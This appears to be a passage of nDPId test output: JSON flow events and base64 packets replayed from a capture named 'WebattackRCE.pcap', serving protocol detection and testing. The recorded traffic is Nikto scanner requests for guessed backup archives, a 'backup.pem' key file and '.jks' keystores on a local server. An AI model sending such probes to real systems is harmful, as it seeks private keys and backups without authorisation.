+00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":173,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":1576420276938,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49890,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":174,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":1576420276939,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49892,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":174,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":939919,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFJ3BAAEAGFMF\/AAABfwAAAcLkH5B8NB8+Bh651YAYAED+uQAAAQEICp1m+\/OdZvvzR0VUIC8xMjcuMC4wLjEuemlwIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":174,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_first_seen":1576420276939,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49892,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":175,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":1,"flow_first_seen":1576420276941,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49894,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":175,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":941611,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCOKZAAEAGA45\/AAABfwAAAcLmH5ActAD4h3K22IAYAED+tgAAAQEICp1m+\/WdZvv1R0VUIC9iYWNrdXAucGVtIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":175,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":175,"flow_packet_id":1,"flow_first_seen":1576420276941,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49894,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":176,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":1576420276943,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49896,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":176,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":943268,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCuRhAAEAGgxt\/AAABfwAAAcLoH5DBbYFGICWC9IAYAED+tgAAAQEICp1m+\/edZvv3R0VUIC9iYWNrdXAucGVtIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":176,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":176,"flow_packet_id":1,"flow_first_seen":1576420276943,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49896,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":177,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_first_seen":1576420276945,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49898,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":177,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":945333,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9GW5AAEAGIst\/AAABfwAAAcLqH5C0ISE5HkW76YAYAED+sQAAAQEICp1m+\/mdZvv5R0VUIC8xLmprcyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":177,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_first_seen":1576420276945,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49898,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":178,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_first_seen":1576420276947,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49900,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":178,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":947856,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9hilAAEAGtg9\/AAABfwAAAcLsH5DmS75z\/EZQIIAYAED+sQAAAQEICp1m+\/udZvv7R0VUIC8xLmprcyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":178,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_first_seen":1576420276947,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49900,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":179,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":1,"flow_first_seen":1576420276949,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49902,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":179,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":949335,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADG8sFAAEAGSW5\/AAABfwAAAcLuH5DZeMrrTWBmVIAYAED+ugAAAQEICp1m+\/2dZvv9R0VUIC8xMjcwMC50YXIubHptYSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":179,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":1,"flow_first_seen":1576420276949,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49902,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":180,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":1576420276950,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49904,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":180,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":950775,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGIHlAAEAGG7d\/AAABfwAAAcLwH5AJERgjseiOe4AYAED+ugAAAQEICp1m+\/6dZvv+R0VUIC8xMjcwMC50YXIubHptYSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":180,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":1576420276950,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49904,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":181,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":1576420276953,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49906,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":181,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":953878,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB609AAEAGUOV\/AAABfwAAAcLyH5CMSNMc4cqoooAYAED+tQAAAQEICp1m\/AGdZvwBR0VUIC8xMjcwMC50Z3ogSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":181,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":1576420276953,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49906,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":182,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":1576420276955,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49908,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":182,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":955291,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBW5ZAAEAG4J5\/AAABfwAAAcL0H5DrXWPDXa4XUYAYAED+tQAAAQEICp1m\/AOdZvwDR0VUIC8xMjcwMC50Z3ogSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":182,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":1576420276955,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49908,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":183,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_first_seen":1576420276956,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49910,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":183,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":956730,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/O0xAAEAGAOt\/AAABfwAAAcL2H5D9kwMeqK3jJ4AYAED+swAAAQEICp1m\/ASdZvwER0VUIC8xMjcudGFyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":183,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_first_seen":1576420276956,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49910,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":184,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":1576420276957,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49912,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":184,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":957983,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/H8ZAAEAGHHF\/AAABfwAAAcL4H5BlEieUASYiL4AYAED+swAAAQEICp1m\/AWdZvwFR0VUIC8xMjcudGFyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":184,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":1576420276957,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49912,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":185,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":1576420276959,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49914,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":185,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":959177,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIMS5AAEAGCwB\/AAABfwAAAcL6H5D33Al8T9gIjoAYAED+vAAAAQEICp1m\/AedZvwHR0VUIC8xMjdfMF8wXzEudGFyLmd6IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":185,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":1576420276959,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49914,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":186,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_first_seen":1576420276960,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49916,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 